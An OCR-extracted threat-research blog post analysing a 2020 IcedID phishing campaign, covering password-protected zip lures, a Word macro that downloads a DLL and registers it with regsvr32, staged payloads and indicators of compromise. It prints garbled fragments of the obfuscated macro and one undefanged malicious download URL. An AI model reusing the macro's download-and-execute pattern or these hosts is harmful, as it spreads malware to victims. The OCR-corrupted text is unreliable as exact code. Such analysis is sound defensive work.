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In our_previous blog about IcedID, we explored some of the changes in the malware and how it tries to evade
detection. We also detailed how threat actors took advantage of the COVID-19 pandemic to phish their target
victims. Recently, we discovered an evolution in their phishing methods, particularly how they attempt to evade
detection by implementing a password protected attachment, keyword obfuscation and minimalist macro code in
their trojanized documents. This time, they also use a DLL for the second stage downloader, which shows a new

maturity level of this threat actor.
Phishing Victims

In the current campaign discovered in July 2020, an email phishing campaign is performed using compromised
business accounts where the recipients are customers of the same businesses. This makes the phish that much
more likely to succeed, given the sender and the recipient have an established business relationship. One example
we are going to highlight is from a compromise of PrepNow.com, a private, nationwide student tutoring company

with business presence in many states.

The phishing emails are sent to potential victims from the accounting department and purported to include an

invoice. The attachment is a password protected zip file named request.zip. The password protection is to prevent
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anti-malware analysis solutions from decrypting and inspecting the attachment. The password is included in the
email message body, in the hopes that the victim would read the email, locate the password and use it to open the

attached file.

An interesting characteristic of these messages is the word “attached” is obfuscated in multiple ways. This may be
an attempt for this phish to bypass spam filters or phishing detection systems that could be looking for such
keywords. However, this is useless because there is no need for any security solution to rely on the word
“attached” to figure out there is an attachment. If anything, we expected the obfuscation to obfuscate the word
“password” because that’s a tell-tale sign of something phishy going on. Then again, modifying the body of the
email ever so slightly may change some fuzzy hashes email security solutions calculate to identify bulk email

campaigns.

Additionally, the campaign has rotated the file name used for the attachment inside the zip file. Again, this seems
futile, since the password protection should prevent most security solutions from opening and inspecting the

content.

Nonetheless, this technique proved successful against Google’s Gmail security, which did not block this email.

From: =
To:
cc
Subject: PrepMow Tutoring

| Message | request.zip (120 KB}

From: Prepnow Accounting <accounting(@prepnow.com=
Date: Thu, Jul 23, 2020 at 7:11 AM

Subject: Re: Invoice 1024 from PrepNow Tutoring

To: B

keyword
obfuscation?

Please see thecument.
Password -[626DS

Thank You.

Good Morning,

Sample email containing the password protected Request.zip sha256:
2beadfb91e794860aad159dccalc94855a99b9bc908d03d10cea005dad652422 MS Word Document
inside zip file: legal paper_07.23.2020.doc: Sha 256:
9b0ff58ddedd7a78e3b8f28c9c5a4934ea9f4dc530d57cc7715bdca6687590fc
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From:

To:

Cc:

Subject: Re: Re: Garry Grisham Excavating

Good Afternocon!

Please see th@tta chpp—lSOcleecD:Jocument.

Password -{133GB

McKeel Equipment Co., Inc

Another example showing a slightly different obfuscation of the word “attached” Request.zip
(sha256): d80dc6c07eedfOcbccedf9427accef8bcb067b9dcleaf4f81b9ee968854eb176 legal
agreement.07.20.doc (inside request.zip)
dc6452b6b0683223c0d87970c600ebbda3ed6c4dab14649beff12be59842f59¢

F : . .
rom covid-19 train
To: is not leaving yet

Cc
Subject: Re: Scheduled maintenance and sample COVID-19 messages

Good Morning,
Please see the(attaA-4ched gdocument.
Password -[133GB

Thanks,

| Municipal Operations & Consulting, Inc. <

Yet another sample email with a third way of obfuscating the word attached Request.zip (sha256):
78fd08878d1f5025ecf7dcf1f0460a4d00f7c50ea281b35c190cd3f8aecf61af

Question_07.20.doc (inside request.zip)
469fc41ba6d15f2af6bcf369e39¢5c06b8bb5d991c008efadbfd409d096e911b

Let’s take a look at the malicious documents in the attachments.

First Stage: MS Office Documents Macro Downloader
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In short, once the zip file is expanded, the user finds a Microsoft Word document that contains a macro that
executes upon opening the document. There is the usual social engineering attempt to get victims to enable
macros, which claims the document was created with a previous version of MS Word, in this case. Once macros
are enabled, the VB script will download a DLL, save it as a PDF and install it as a service using regsvr32 to

guarantee persistence.

1) Security Warning Macros have been disabled. Enable Content

This document created in previous version of Microsoft Office Word.

To view or edit this document, please click "Enable editing" button
on the top bar, and then click "Enable content".

The authors have resorted to being “minimalist” in this recent campaign. The “macro” code is very simple and
straightforward but they managed to add a few tricks to evade detection. For instance, all strings and function calls

in the macro are obfuscated.
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<= Legal paper_07.23.2020 - Sw (Code)

I{Genera 1)

j I autoopen

Public Const D As String = "Ub.pdf"
Function i(Ed)
rp = hF(Ed)

For Fa 0 To UBound (pp)

Ot = Ot & Chr(pp(Fa) Xor 1)
Next Fa

|MMw
Ptblic Const mn As 3tring = "reg”
Pcblic Comst moas String = "sur"
Peolic Comst o4 &s aring = "103 117 117 113 59 4€ 46 30 118 116 106 37 11 119 47

jpmmmmm

i=o0t

End Function
Function hF (Ed)

hF = Split(Ed, " ")

il

12 VBAT Rnd Wing¢ Then
Piolic Teclars

Punlic Declare Functicn TRLDownleadTerile Lib "uzlmen" alizs "URLDownlcadToFilsz!

Foriafe Faneslon URLDownlogdToFile Lib "urlmen” Alias "URLDownloadl

End Function

\

Sub autoopen()
Er = i(c4) e—0 1 ——p

Decrypt URL String )

Ro prelude banking
Triple
Dylan kazakhstan

Caracalla sphere publisher syuagesl

variables

ndon

Il

frm.download Kr, D —

Download from url and save as Ub.pdf

' Polo wikipedia distinction

Idyllic adelaide linguistic

Ocr moderate ls

Hindu dev

Disintegration identical
Untamed

Atm teaching

Dim T8 As New WshShell

Alias drinking

Nocturnal consolidated houseboat
Traverse fifty-one

Scholar incredible

Cracker

Call T8.run(hn & m & "32 " + D)
End Sub

éagdiff1dé£§5asé.awfulness drivers indomitable

___,C

comments to

make it benign

regsvr32 "Ub,pdf"

D

There are also instances where the URL is saved as an XML file inside the document.

~- Question_07.20 - nb (Code)

|[Genera|}

LI | autoopen

Sub autoopent}
LActiveDocument.CustomXMLParts (Rcti

veDocument . Custom¥MLParts.Count) . SelectNodes ("//It

EE
' Enybody disappointing murphy newcomer
' Proved extensive manifesting

S

Breaker sophisticated pristine move
Layer man-of-war missed medley

' Exception salty heinz tokvo
frm.download EE, "c2.pdf"

' Disrespect amaze
' Brothers wallis
' Controllers pinafore syphilis recipe

' survival Namz | Size|  Packed Size | Modified | Created | Accessed |
' Determined endanger weymouth commis'.;ebl | 233 1?: S
' Weeding access morose manslaughter fremLxm ! e

¥ temPropst ymil 735 198 1980-01-01...

I8 tem1.xml - Notepad

Fle Edit Format View Help

kItems>

<Iteml>http://z9770qde. com/4adr/Totv.php?T=1adi6.cab</Iteml>
</Ttems>

To some extent, these few tricks worked. Virus

total hits were low at first submission on the samples from July 20.
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Previous Analyses Date order ~
2020-07-20T17:52:14 6 /63
Sha256: 469fc41ba6d15f2af6bcf369e39c5c06b8bb5d991c008efadbfd409d096e911b
Source: virustotal.com
Previous Analyses Date order ~
2020-07-21T00:30:16 6 /62

Sha256: dc6452b6b0683223c0d87970c600ebbda3ed6c4dab14649beff12be59842f59¢

Second Stage: DLL Trojan

In our observation, the second stage payload consists of a DLL that is downloaded from 3wuk8wv[.]com or
185.43.4[.]1241, which is hosted on a

hosting provider in Russian Siberia_https://ispserver.com/

source:

Once downloaded, the malicious DLL is saved as a pdf file, then the macro executes it via a call to regsvr32.exe.

last-modified:

last-modified:

fnekoum: ilE5 L 8250 = AEE.AE 5 AEE
nekname: SERVER-NET

org: ORG-SRV1-RIPE

descn: JSC Server WeghDC colocation
country: RU

admin-c: SRV25-RIPE

tech-c: SRV25-RIPE

status: ASSIGNED PA

remarks: INFRA-AW

mnt-by: CJSCSERVER-MNT

created: 2015-12-15T07:24:452

2015-12-15T07:24:45Z2

source: RIPE

Qrganisation: ORG-SRV1-RIPE

org-name: JSC Server

org-type: OTHER

address: m-r Raduzhniy 34a, 3

address: Irkutsk, 664017

address: Russian Federation
i abuse@abusehost.ru

e-mail:

abuse-c: AR34130-RIPE

PRG-ref: CJSCSERVER-MNT

BR&-by: CJSCSERVER-MNT

created: 2014-08-28T06:38:15%

2017-10-30T14:49:247%
RIPE
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‘ Wireshark - Follow TCP Stream (tcp.stream eq 11) - 1595975436975783.pcap - ] X
GET /xemcl/iba.php?l=unt6.cab HTTP/1.1 R
Accept: */*

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.8; SLCC2; _NET CLR 2.@.58727; .NET CLR 3.5.30729; .NET
CLR 3.0.30729; Media Center PC 6.9; .NET4.0C; .NET4.0E; InfoPath.3)

Host: 3uwuk8wv.com

Connection: Keep-Alive

HTTP/1.1 208 OK

Date: Tue, 28 Jul 2020 22:33:@03 GMT
Server: Apache/2.2.15 (Cent0S)
X-Powered-By: PHP/7.2.32
Content-Description: File Transfer
Content-Disposition: attachment; filename="unt6.cab"
Expires: @

Cache-Control: must-revalidate

Pragma: public

Content-Length: 402944

Connection: close

Content-Type: application/octet-stream

MZe e e et @ e iee e eeeiiiaiiaaiieaiaaaaianaanaeanaaaa. oL !This program cannot be run in DOS mode.

| JA S O Y G

L b (R VAR - R - R « @...:...

. N text... ..l
rdata..LQ...0...R...%......... .@.. B @....rsrc...p....

B et @..@.reloc...c...@. . <eeei T -

Packet 685 1 client plet, 29 server phis, 1 turm, Olick #o select,

Entire conversation (395 kB) ~ Show and save data as ASCI ~ Stream

Find: ‘ | Find Mext |

Filter Qut This Stream Print Save as... Back Close Help

Pcap capture of downloading of DLL

Our sample has very few detection on Virustotal, upon initial submission.

2 @ 2 engines detected this file

Tad20c64f39dcar741c1f3753f592174b33d4c72259ba2600ff754bc62b09e43
unt13.cab

pedll

[ PR

Third Stage: Malicious Payload Downloader

Once launched, the DLL will download the next stage from the domain loadhnichar[.]co as a PNG file and decrypt
it. Similar to the second stage loader we analyzed in our previous blog, this loader blends its traffic with requests
to benign domains, such as apple.com, twitter.com, microsoft.com, etc. to look more benign to sandboxes trying to

analyze it.
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Y

MIFE

cmp dword ptr [esi+ebp+4], "TADI®

jz short loc _73F72596 —

|1 ¥ "IDAT" is found
Iﬁ@ \ in PNG
mov esi, eax ]
lea eax, [esi+8] loc_73F72596:
cmp eax, ebx lea ecx, [esi+ebp]
jbe short loc_73F72548| (cmp edx, 5
l jb short loc 73F7258B

Unfortunately, at the time of our testing, the download domain, loadhnichar[.]co for the next stage is already

down.

Standard query 0xf801 A support.oracle.com
Standard query 0xad6@® A support.apple.com
Standard query 0x054f A loadhnichar.co

Name query NB LOADHNICHAR.CO<88:

Name query NB LOADHNICHAR.CO<8@:

Name query NB LOADHNICHAR.CO<88:>

Standard query Oxd4da A help.twitter.com
Standard query @xdb@d A support.microsoft.com

Using a similar sample from malware-traffic analysis, https://malware-traffic-analysis.net/2020/07/20/index.html,

we analyzed the next stages.

We have not found any changes from this stage, compared to our previous analysis. The second stage will
download the third stage as a PNG file, decrypt it and run it. It will be saved as {random}.exe and will create a
scheduled task for persistence. The third stage will download the IcedID main module as a PNG file, spawn a

msiexec.exe process and inject the IcedID main module into it.

Juniper Advanced Threat Prevention (ATP) detects this file as malware.
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9b0ff58ddedd7a78e3b8... @

Threat Level Top Indicators

File name 9b0ff58ddedd7a78e3b8f28c... Malware Name Vba
Category document (MIME type: app. Signature Matct Vba
Antivirus Clean

GENERAL BEHAVIOR ANALYSIS NETWORK ACTIVITY BEHAVIOR DETAILS

Status File Information

Threat Level (O] File Name 9b0ff58ddedd7a78e3b8f28c9c5a4934

Global Prevalence L - eagfad:sao;s;c:ﬁw5bdcaﬁ637590fc

4 ategory document (MIME type:

Last Scanned Aug 7, 2020 3:41 PM a%ﬂication/vnd.apenxmlforma(s-
officedocument.wordprocessingml.do
cument)

Size 116KB
Platform Generic
Malware Name Vba
Type Vba
Strain Generic

[SEY SV [] Download PDF Report

Prevalence

Global prevalence Low
Unique users 0
Protocols seen N/A

Other Details

sha256 9b0ff58ddedd7a78e3b8f28c9c5a4934ea%fddcsS
30d57cc7715bdcab687590fc
md5 d01979536eade500990dea8f6259e45b

Indicators of Compromise

sha256 Notes
2beadfb91e794860aad159dccalc94855a99b9bc908d03d10cea005dad652422 request.zip
d80dc6c07eedfOcbccedf9427accef8bcb067b9dcleaf4f81b9ee968854eb176 request.zip
78fd08878d1f5025ecf7dcf1f0460a4d00f7c50ea281b35c190cd3f8aecf61af request.zip
9b0ff58ddedd7a78e3b8f28c9c5a4934ea9f4dc530d57cc7715bdca6687590fc doc
dc6452b6b0683223c0d87970c600ebbda3ed6cddab14649beff12be59842f59¢ doc
469fc41ba6d15f2af6bcf369e39¢5c06b8bb5d991c008efadbfd409d096e911b doc
3wuk8wv[.]com 2nd stage
185.43.4[.]1241 2nd stage

Special thanks to Alexander Burt and Mounir Hahad from Juniper Threat Labs for participating in the analysis

and writing of this blog.
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